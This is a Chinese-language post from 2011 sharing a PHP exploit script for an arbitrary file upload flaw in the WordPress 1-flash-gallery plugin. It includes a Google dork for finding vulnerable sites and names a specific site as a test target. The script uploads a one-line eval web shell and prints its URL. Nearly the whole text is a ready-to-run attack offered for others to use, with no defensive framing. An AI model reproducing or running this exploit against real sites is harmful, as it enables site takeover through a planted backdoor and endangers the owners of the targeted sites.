这个漏洞之前的exp是MSF版的 所以为了大家用的方便我写了一个php版本的!
谷歌关键字:inurl:"wp-content/plugins/1-flash-gallery"
###########################################################################################
Title: Flash Gallery Wordpress Plugin Arbitrary File Upload Exploit [php]
Time:2011-09-09
Team:MakeBug or 90sec
Author: cfKing
###########################################################################################
#!/usr/bin/php
<?php
error_reporting(0);
print_r('
+---------------------------------------------------------------------------+
Flash Gallery Wordpress Plugin Arbitrary File Upload Exploit
by:[email protected]
welcome to www.90sec.org www.webvul.com
+---------------------------------------------------------------------------+
'
);
if(count($argv) < 2 ){
print_r('
Usage: php '.$argv[0].' url Path
Example:
php '.$argv[0].' www.site.com blog
Exploit Test :beluvmusic.org
');
exit;
}
$url=$argv[1];
$path=$argv[2];
$token=getshell($url,$path);
if(is_array($token)){
echo "[-] Exploit Failed \n";
}else{
echo "
- Exploit Success \n";
echo " - Shell:http://$url.$token[0]\n";
}
function Getshell($url,$path){
$host=$url;
$port="80";
$content ="\r\n-----------------------------265001916915724\r\n".'Content-Disposition: form-data; name="Filedata"; filename="ly.php"'."\r\nContent-Type: application/x-httpd-php\r\n\r\n".'
<?php eval(@$_POST[cfking]);?>'."\r\n
-
-----------------------------265001916915724--\r\n";
$data = "POST $path/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
$data .= "Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Keep-Alive: 300\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo " - No response from $host \n";
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp .=fgets($ock, 1024);
}
preg_match_all('/wp-content(.*?).php/is',$exp,$tmp);
return $tmp[0];
}
?>